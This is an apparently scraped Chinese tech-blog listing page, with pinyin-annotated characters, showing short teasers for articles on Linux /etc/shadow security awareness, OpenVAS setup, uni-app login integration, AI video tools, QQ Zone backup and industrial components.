1. 項(xiàng)目概述:從一份文件到安全意識(shí)的覺(jué)醒在Linux系統(tǒng)管理的日常工作中,/etc/shadow文件就像一座守護(hù)用戶(hù)密碼的堡壘,它安靜地躺在/etc目錄下,卻承載著整個(gè)系統(tǒng)訪(fǎng)問(wèn)控制的核心秘密。這個(gè)項(xiàng)目標(biāo)題——“l(fā)inux 密碼文件 /etc/shadow&…

2026/8/2 4:34:42 閱讀更多
uni-app集成阿里云一鍵登錄:原理、實(shí)踐與優(yōu)化指南

uni-app集成阿里云一鍵登錄:原理、實(shí)踐與優(yōu)化指南

1. 項(xiàng)目概述:為什么需要一鍵登錄?在移動(dòng)應(yīng)用開(kāi)發(fā)里,登錄注冊(cè)這個(gè)環(huán)節(jié),一直是用戶(hù)體驗(yàn)的“摩擦點(diǎn)”。傳統(tǒng)的手機(jī)號(hào)短信驗(yàn)證碼模式,用戶(hù)需要經(jīng)歷“輸入11位手機(jī)號(hào) -> 等待接收短信 -> 輸入6位驗(yàn)證碼 -> 點(diǎn)擊登錄…

2026/8/2 4:34:42 閱讀更多
OpenVAS漏洞掃描器從零部署與實(shí)戰(zhàn)配置指南

OpenVAS漏洞掃描器從零部署與實(shí)戰(zhàn)配置指南

1. 項(xiàng)目概述:為什么需要OpenVAS?在安全領(lǐng)域摸爬滾打十幾年,我見(jiàn)過(guò)太多因?yàn)榛A(chǔ)安全掃描缺失而導(dǎo)致的“低級(jí)”事故。很多團(tuán)隊(duì),尤其是初創(chuàng)公司或業(yè)務(wù)壓力大的開(kāi)發(fā)團(tuán)隊(duì),往往把安全測(cè)試的優(yōu)先級(jí)排得很靠后,總覺(jué)…

2026/8/2 4:34:42 閱讀更多
數(shù)據(jù)與AI中的維度實(shí)戰(zhàn):從向量嵌入、數(shù)據(jù)治理到模型復(fù)雜度

數(shù)據(jù)與AI中的維度實(shí)戰(zhàn):從向量嵌入、數(shù)據(jù)治理到模型復(fù)雜度

1. 從“點(diǎn)線(xiàn)面體”到高維空間:一個(gè)從業(yè)者的維度認(rèn)知重塑“維度”這個(gè)詞,聽(tīng)起來(lái)既熟悉又陌生。我們常說(shuō)“這個(gè)問(wèn)題的維度很高”,或者“從另一個(gè)維度思考”。但在技術(shù)領(lǐng)域,尤其是數(shù)據(jù)科學(xué)、機(jī)器學(xué)習(xí)、乃至我們?nèi)粘L幚淼臄?shù)據(jù)建模中&…

2026/8/2 4:34:42 閱讀更多
AI短劇生產(chǎn)新范式:分層Agent框架如何實(shí)現(xiàn)從故事梗概到完整短劇的自動(dòng)化生成

AI短劇生產(chǎn)新范式:分層Agent框架如何實(shí)現(xiàn)從故事梗概到完整短劇的自動(dòng)化生成

1. 從“一句話(huà)”到“一部劇”:AI短劇生產(chǎn)的新范式最近,AI生成視頻的新聞層出不窮,從Sora的驚艷亮相到各種文生視頻模型的迭代,大家似乎都在關(guān)注“單鏡頭”的質(zhì)量。但作為一個(gè)在內(nèi)容行業(yè)摸爬滾打多年的從業(yè)者,我一直在思…

2026/8/2 4:24:41 閱讀更多
MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案 【免費(fèi)下載鏈接】MoneyPrinterPlus AI一鍵批量生成各類(lèi)短視頻,自動(dòng)批量混剪短視頻,自動(dòng)把視頻發(fā)布到抖音,快手,小紅書(shū),視頻號(hào)上,賺錢(qián)從來(lái)沒(méi)有這么容易過(guò)! 支持本地語(yǔ)音模型chatTTS,fasterwhisper,…

2026/8/2 0:04:00 閱讀更多
3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南

3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南

3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南 【免費(fèi)下載鏈接】GetQzonehistory 獲取QQ空間發(fā)布的歷史說(shuō)說(shuō) 項(xiàng)目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾想過(guò),那些年發(fā)過(guò)的QQ空間說(shuō)說(shuō),那些記錄青春的文字…

2026/8/2 0:04:01 閱讀更多
MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案 【免費(fèi)下載鏈接】MoneyPrinterPlus AI一鍵批量生成各類(lèi)短視頻,自動(dòng)批量混剪短視頻,自動(dòng)把視頻發(fā)布到抖音,快手,小紅書(shū),視頻號(hào)上,賺錢(qián)從來(lái)沒(méi)有這么容易過(guò)! 支持本地語(yǔ)音模型chatTTS,fasterwhisper,…

2026/8/2 0:04:00 閱讀更多
3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南

3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南

3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南 【免費(fèi)下載鏈接】GetQzonehistory 獲取QQ空間發(fā)布的歷史說(shuō)說(shuō) 項(xiàng)目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾想過(guò),那些年發(fā)過(guò)的QQ空間說(shuō)說(shuō),那些記錄青春的文字…

2026/8/2 0:04:01 閱讀更多
AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O分配PCB板是應(yīng)用材料(Applied Materials)公司生產(chǎn)的一款用于半導(dǎo)體設(shè)備的I/O信號(hào)分配電路板。該型號(hào)(0100-02186)的核心特點(diǎn)如下:專(zhuān)用于Endura等半導(dǎo)體工藝腔室。集成信號(hào)路由與分配功能。連接控制…

2026/8/2 2:51:21 閱讀更多
Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)是日本日清(Nissei)品牌的一款工業(yè)用三相異步電機(jī),適用于自動(dòng)化設(shè)備及通用機(jī)械驅(qū)動(dòng)。該型號(hào)(FFMN-32L-10-T0 40AX)的核心特點(diǎn)如下:三相交流異步電動(dòng)機(jī)。額定…

2026/8/2 2:52:49 閱讀更多